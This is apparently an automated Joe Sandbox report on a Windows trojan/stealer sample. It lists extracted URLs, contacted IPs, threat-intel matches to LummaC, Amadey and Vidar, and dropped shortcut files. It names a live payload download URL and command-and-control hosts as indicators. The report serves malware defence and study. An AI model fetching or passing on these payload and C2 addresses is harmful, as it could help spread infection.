http://crl.micro	7jKx8dPOEs.exe, 00000000.00000003.2198784822.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2176354470.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2204287013.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2454356071.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173378530.0000000005682000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/off/def.exe	7jKx8dPOEs.exe, 00000000.00000003.2536769573.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_121.6.dr, chromecache_100.6.dr	false		high
http://185.215.113.16/1N	7jKx8dPOEs.exe, 00000000.00000003.2536598717.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173378530.0000000005682000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173378530.0000000005682000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	7jKx8dPOEs.exe, 00000000.00000003.2536598717.0000000000F70000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2661787377.0000000000F71000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2544474352.0000000005732000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000002.2668593976.0000000000F71000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2536847369.0000000005732000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000002.2672710688.0000000005731000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_124.6.dr	false		high
http://185.215.113.16/_N	7jKx8dPOEs.exe, 00000000.00000003.2536598717.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://channel9.msdn.com/	chromecache_121.6.dr, chromecache_100.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_121.6.dr, chromecache_100.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.165.185	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581220
Start date and time:	2024-12-27 08:44:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7jKx8dPOEs.exe renamed because original name is a hash value
Original Sample Name:	fe3379ec1a912799963d0f5887406d7a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/70@9/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 172.217.21.35, 23.218.210.69, 172.217.19.238, 173.194.220.84, 2.20.41.214, 172.217.17.46, 20.189.173.10, 23.32.238.130, 2.19.198.56, 142.250.181.106, 142.250.181.42, 142.250.181.74, 172.217.21.42, 172.217.19.234, 172.217.17.42, 172.217.17.74, 172.217.19.10, 142.250.181.138, 172.217.19.202, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.217.17.35, 4.245.163.56, 13.107.246.63, 23.218.208.109
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, www.bing.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, onedscolprdwus09.westus.cloudapp.azure.com, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.micr
Execution Graph export aborted for target 7jKx8dPOEs.exe, PID 6472 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:44:55	API Interceptor	1040x Sleep call for process: 7jKx8dPOEs.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse
	http://www.finanzamthessen.de	Get hash	malicious	Unknown	Browse
	installer.bat	Get hash	malicious	Vidar	Browse
	skript.bat	Get hash	malicious	Vidar	Browse
	din.exe	Get hash	malicious	Vidar	Browse
	yoda.exe	Get hash	malicious	Vidar	Browse
	lem.exe	Get hash	malicious	Vidar	Browse
	script.ps1	Get hash	malicious	Vidar	Browse
	invoice PU-LG.html	Get hash	malicious	Unknown	Browse
	http://kxyaiaqyijjz.com	Get hash	malicious	Unknown	Browse
172.67.165.185	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	P0SJULJxI0.exe	Get hash	malicious	LummaC	Browse
	r06aMlvVyM.exe	Get hash	malicious	LummaC	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	XM6cn2uNux.exe	Get hash	malicious	LummaC	Browse
	rwFNJ4pHWG.exe	Get hash	malicious	LummaC	Browse
	dEugughckk.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	TTsfmr1RWm.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	1fi2LiofgW.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	54861 Proforma Invoice AMC2273745.xlam.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	TAX INVOICE - NBO2506000632.xlam.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	installer.bat	Get hash	malicious	Vidar	Browse	13.107.246.63
	din.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	lem.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	atw3.dll	Get hash	malicious	Gozi, Ursnif	Browse	13.107.246.63
	WRD1792.docx.doc	Get hash	malicious	Dynamer	Browse	13.107.246.63
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
mindhandru.buzz	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	cqHMm0ykDG.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	P0SJULJxI0.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	b0ho5YYSdo.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	r06aMlvVyM.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	6wFwugeLNG.exe	Get hash	malicious	LummaC	Browse	172.67.135.139
	9mauyKC3JW.exe	Get hash	malicious	Unknown	Browse	172.67.153.243
	uUtgy7BbF1.exe	Get hash	malicious	LummaC	Browse	104.21.71.155
	x4PaiRVIyM.exe	Get hash	malicious	LummaC	Browse	172.67.175.134
	3vLKNycnrz.exe	Get hash	malicious	LummaC	Browse	104.21.62.151
WHOLESALECONNECTIONSNL	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	lem.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	https://mandrillapp.com/track/click/30903880/lamp.avocet.io?p=eyJzIjoiM2NCLS1TMlk4RWF3Nl9vVXV4SHlzRDZ5dmJJIiwidiI6MSwicCI6IntcInVcIjozMDkwMzg4MCxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2xhbXAuYXZvY2V0LmlvXFxcL25ldy11c2VyXCIsXCJpZFwiOlwiMTMxMTQyZmQwMzMxNDA4MWE0YmQyOGYzZDRmYmViYzRcIixcInVybF9pZHNcIjpbXCI0OWFlZTViODJkYzk4NGYxNTg2ZGIzZTYzNGE5ZWUxMDgxYjVmMDY5XCJdfSJ9	Get hash	malicious	Unknown	Browse	23.1.237.91
a0e9f5d64349fb13191bc781f81f42e1	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	8lOT1rXZp5.exe	Get hash	malicious	RedLine	Browse	172.67.165.185
	6wFwugeLNG.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	9mauyKC3JW.exe	Get hash	malicious	Unknown	Browse	172.67.165.185
	uUtgy7BbF1.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	x4PaiRVIyM.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	3vLKNycnrz.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:45:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9804972761156603
Encrypted:	false
SSDEEP:	48:82dIcToAH1wHsWidAKZdA19ehwiZUklqehpy+3:8VcMYn8Oy
MD5:	01CB04A116A526BE91E48B3CFB122C5B
SHA1:	241898C9AB9A83F6A2BCEEDC80CC7CF611387E10
SHA-256:	81AE2C265E18567102E1FCED73F00C01FAFB6AA21EAFF99C741EDCD0D5A378F1
SHA-512:	8CEE6C7C622AF214F321C13B95A5538EB55AEFE95FBF3F359A46C072CEC095DBA55F85A4C50BA7F0339F8C86F5A10242E0C437B2113F67F8FD44C9F9F2D64B5E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......mY3X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:45:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9962760739399705
Encrypted:	false
SSDEEP:	48:8PdIcToAH1wHsWidAKZdA1weh/iZUkAQkqeh+y+2:8qcMYnO9QDy
MD5:	1BAF50CF14BC131166965213576FFF39
SHA1:	4C8629E35D569BB2931D6450DD0967C9BD6E5DF8
SHA-256:	AA35DA8CCA8B4F7A1267E7715D196BCE79F234EC93847EE108EFA7F8272A3630
SHA-512:	52ED814CFFC99ACFE0F7C5E69A13413BD9358E29F57DA51BE8B5D782FC1B3BCA8C7A72A27BAB19F79E66A55F8E9901F393BF67579EFD50F4203DB0BB2B49009C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....77^Y3X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.009922575959018
Encrypted:	false
SSDEEP:	48:8xodIcToAHsHsWidAKZdA14tseh7sFiZUkmgqeh7s4y+BX:8xHcMY52nyy
MD5:	852EFC1582D0249E2B2D40D7EAEF5AC5
SHA1:	6E05EFBEF18274D6EA8FDB0275F709B45D3CB53E
SHA-256:	84D16ED595132BC165B00C6DCEC6F635EA1E76577637FBEDB9F2E064EEE8893C
SHA-512:	582A63B64AACEC17A632FA8C8F5C05FF48E500E643C9FF1E0DAB570B4B083B5BC45E27CEFB94C2471476AFA0BCF24342020109753B1A89ED494111498AD09169
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:45:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.995136288265122
Encrypted:	false
SSDEEP:	48:8sodIcToAH1wHsWidAKZdA1vehDiZUkwqehqy+R:8GcMYnVwy
MD5:	5B7317BCD3FC2380BE7D1DA918077307
SHA1:	831348C5BC5CDB804F64C4421E05A8F4056ADFA5
SHA-256:	8A4E5A860C3371919DADD183871F1212D2DBFD2E04C138E994F93EDC33B4311A
SHA-512:	2C58575D8D6FD2F034A5543D043A9603E26CA7BF4D8EC6FC05B6441E073591B012C5F00F9C9032F6EF40339CEDF35F6A519EB4D86DC73C02777F1FC6ADDAE150
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......VY3X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:45:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9831453100883665
Encrypted:	false
SSDEEP:	48:8codIcToAH1wHsWidAKZdA1hehBiZUk1W1qehcy+C:8WcMYnF98y
MD5:	8CD4F57F08FEE4ADF393C77DD72C5567
SHA1:	E687AC06D9EDBC13735F9B099BB4B3E5F0A6A47E
SHA-256:	2A699FD859C28BCF69EA12728759D1FFF408858DA48C1483D8C72E05715BE3A5
SHA-512:	99BF2E92E7FE629A9CC57F09A506B8E0E66F3BEC6D7F3895F62D59BE3C03553377EA48062DF4F37B81AFC3631DC635DD4977B8DB627F6BE5F7AC102A25EDD108
Malicious:	false
